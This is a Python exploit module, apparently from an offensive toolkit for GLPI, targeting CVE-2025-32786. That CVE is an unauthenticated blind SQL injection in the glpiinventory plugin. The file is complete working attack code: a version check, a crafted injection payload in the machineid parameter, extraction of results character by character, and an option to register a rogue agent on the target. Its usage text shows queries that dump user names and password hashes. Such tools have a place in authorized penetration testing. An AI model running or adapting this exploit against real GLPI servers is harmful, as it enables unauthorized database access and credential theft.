from enum import Enum
from http import HTTPStatus
from urllib.parse import quote
from glpwnme.exploits.requirements import DefaultVersion
from glpwnme.exploits.plugin_exploit import PluginExploit
from glpwnme.exploits.logger import Log

class CVE_2025_32786(PluginExploit):
    """
    This CVE abuses a SQL Injection in glpiinventory plugin

    @author RIOUX Guilhem
    @cvss 7.2
    @name CVE_2025_32786
    """
    plugin_name = "glpiinventory"
    max_plugin_version = "1.5.1"
    max_version = ("10.0.20") # Plugin shall have been totally past this version
    _impacts = "Unauthenticated SQL Injection"
    device_id = "4565463212316513515"
    _is_check_opsec_safe = False # Try to get plugin version

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit abuse a SQL Injection.\n"
        infos += "It uses boolean-based method to extract data.\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [italic]sql (default 'SELECT VERSION()')[/italic]: The SQL command to execute\n"
        infos += " - [italic]agent_id (default '1')[/italic]: The id of an existing agent\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Execute the sql query `select user()` on the target[/]\n"
        infos += "--run -O sql='select user()'\n\n"
        infos += "[grey66]# Query for recovering only non null password of a table[/]\n"
        infos += "--run -O sql=\"SELECT CONCAT(name,':',password) FROM glpi_users WHERE password IS NOT NULL AND password <> '' LIMIT 1 OFFSET 1\"\n\n"
        infos += "[grey66]# Query for recovering all username using agent_id[/]\n"
        infos += "--run -O sql=\"SELECT GROUP_CONCAT(name) FROM glpi_users\" agent_id=2\n"

        infos += "\n[u]Note:[/u]\n"
        infos += "The vulnerability works against both [b]glpiinventory[/b] and [b]fusioninventory[/b].\n"
        infos += "However the exploit is not implemented for [b]fusioninventory[/b].\n"
        infos += "[b]For this exploit to work, you requires a valid agent id.[/b]\n"

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    def get_plugin_version(self):
        """
        Function that retrieve the version of the plugin
        By default this function return the version of plugin_name.xml
        """
        res = self.plugin_get(f"/front/plugin_fusioninventory.communication.php?action=yest&machineid=45645",
                              allow_redirects=False)
        header = res.headers.get("server-type")
        if header:
            version = header.strip().split(" ")[-1]
            return version
        return None

    def _plugins_exists(self, endpoint):
        """
        Check if the plugin exists given an endpoint, set the attribute to know that
        the plugin actually exists, and returns it at every other calls

        :return: True if the plugin exists, False otherwise
        :rtype: bool
        :meta: public
        """
        res = self.get(f"/{endpoint}/{self.__class__.plugin_name}/front/plugin_fusioninventory.communication.php?action=yest&machineid=45645",
                       allow_redirects=False)
        if res.status_code != HTTPStatus.NOT_FOUND:
            return True
        return False

    def _build_payload(self, sql, agent_id):
        """
        Build the sql payload

        :param sql: The sql payload to extract (SELECT VERSION())
        :type sql: str
        """
        template_payload = "' OR id=(SELECT(IF({sql},{agent_id},NULL))) OR deviceid=(SELECT(IF({sql},{machine_id},NULL))); -- -'"
        payload_sql = "?action=setStatus&"
        payload_sql += "machineid=" + quote(template_payload.format(sql=sql,
                                                                    agent_id=agent_id,
                                                                    machine_id=self.__class__.device_id))
        payload_sql += "&uuid=test&sendheaders=1"
        return payload_sql

    def _is_result_ok(self, res):
        """
        Check if the sql injection works
        The result shall be 200 when success else 400
        """
        return res.status_code == HTTPStatus.OK

    def _add_agent(self):
        """
        Add an agent on remote target

        :return: The success of the operation
        :rtype: bool
        """
        payload_xml = f"<?xml version='1.0' encoding='UTF-8'?><REQUEST><deviceid>{self.__class__.device_id}</deviceid><QUERY>contact</QUERY></REQUEST>"
        res = self.plugin_post("/front/plugin_fusioninventory.communication.php/ajax/",
                               data=payload_xml)
        return res.text.lower().find("<status>ok</status>") >= 0

    def _run_sql_payload(self, payload, agent_id):
        """
        Workflow for running sql payload
        """
        payload = self._build_payload(payload, agent_id)
        result = self.plugin_get("/b/deploy/index.php" + payload, allow_redirects=False)
        return self._is_result_ok(result)

    def count_char(self, sql, agent_id):
        """
        Count how many chars contains the result
        The length will be calculate through Dichotomie

        :param sql: The sql payload given by the user
        :type sql: str

        :return: The number of char in the result
        :rtype: int
        """
        length_payload = f"LENGTH({sql})>{{length}}"
        previous_length = 0
        try_length = 20
        max_iter = 11
        for i in range(max_iter):
            if self._run_sql_payload(length_payload.format(length=str(try_length)), agent_id):
                previous_length = try_length
                try_length *= 2

            elif i == max_iter-1:
                Log.err(f"Max iterations reached, aborting, size exceeding: {str(try_length)}")
                exit(1)
            else:
                break

        return self.dichotomi(length_payload, previous_length, try_length, agent_id)

    def dichotomi(self, payload, previous_length, try_length, agent_id):
        """
        Run dichotomi research from a payload
        The payload must contains a placeholder {length}
        """
        while previous_length <= try_length:
            mid = (try_length + previous_length) // 2
            result = self._run_sql_payload(payload.format(length=str(mid)), agent_id)
            if result:
                previous_length = mid + 1
            else:
                try_length = mid-1
        return previous_length

    def sqli(self, payload, length_result, agent_id):
        """
        Exploit the sqli boolean based
        """
        res = ""
        partial_res = ""
        for i in range(1, length_result + 1):
            char_payload = f"ASCII(SUBSTR({payload}, {i}, 1))>{{length}}"
            partial_res += chr(self.dichotomi(char_payload, 0, 255, agent_id))
            Log.msg(f"Current result: [gold3]{partial_res}[/]", end="\r")
            if len(partial_res) > 50:
                res += partial_res
                partial_res = ""
                print()
        res += partial_res
        return res

    def check(self):
        """
        Default check method for a plugin exploit
        The check method will also set the endpoint attr of the object

        If the plugin version is not found, it will be considered as vulnerable
        """
        if not self.exists():
            return False

        res = self.plugin_get("b/deploy/index.php")
        if('Inventory is disabled' in res.text
           or res.status_code == HTTPStatus.NOT_FOUND):
            return False

        self.glpi_plugin_version = self.get_plugin_version()
        if not self.glpi_plugin_version:
            return False

        if self._is_plugin_vulnerable(self.glpi_plugin_version):
            return True
        return False

    def run(self, sql="SELECT VERSION()", agent_id="1"):
        """
        Run the exploit on the target
        """
        if not self.check():
            Log.err("Target is not vulnerable")
            return False

        res = self.plugin_get("b/deploy/index.php")
        if 'Inventory is disabled' in res.text:
            Log.err("It seems inventory is installed but not enabled...")
            exit()

        if not self.glpi_plugin_version:
            Log.err("Cannot recover plugin version, plugin is not enabled")
            exit()

        sql = f"({sql})"

        Log.msg(f"Executing SQL Payload: {sql}")
        length_result = self.count_char(sql, agent_id)

        if length_result == 0:
            Log.err(f"Result is empty")
            Log.log("Maybe no agent are available on the target")
            if input("Do you wanna try to add an agent (requires inventory enable) ? (y/n) ").lower() == "y":
                Log.log("Trying to add an agent on the target")
                if self._add_agent():
                    Log.msg(f"Successfully added agent")
                    self._write_log(f"Agent added with device_id: {self.__class__.device_id}")
                    length_result = self.count_char(sql, agent_id)
                    if length_result == 0:
                        Log.err("Every attempts failed...")
                else:
                    Log.err("Failed to add agent")

            else:
                exit(1)

        Log.msg(f"Length of result: {length_result}")
        result = self.sqli(sql, length_result, agent_id)
        print(f"\x1b[K", end="\r")
        Log.msg(f"Final result:\n{result}")
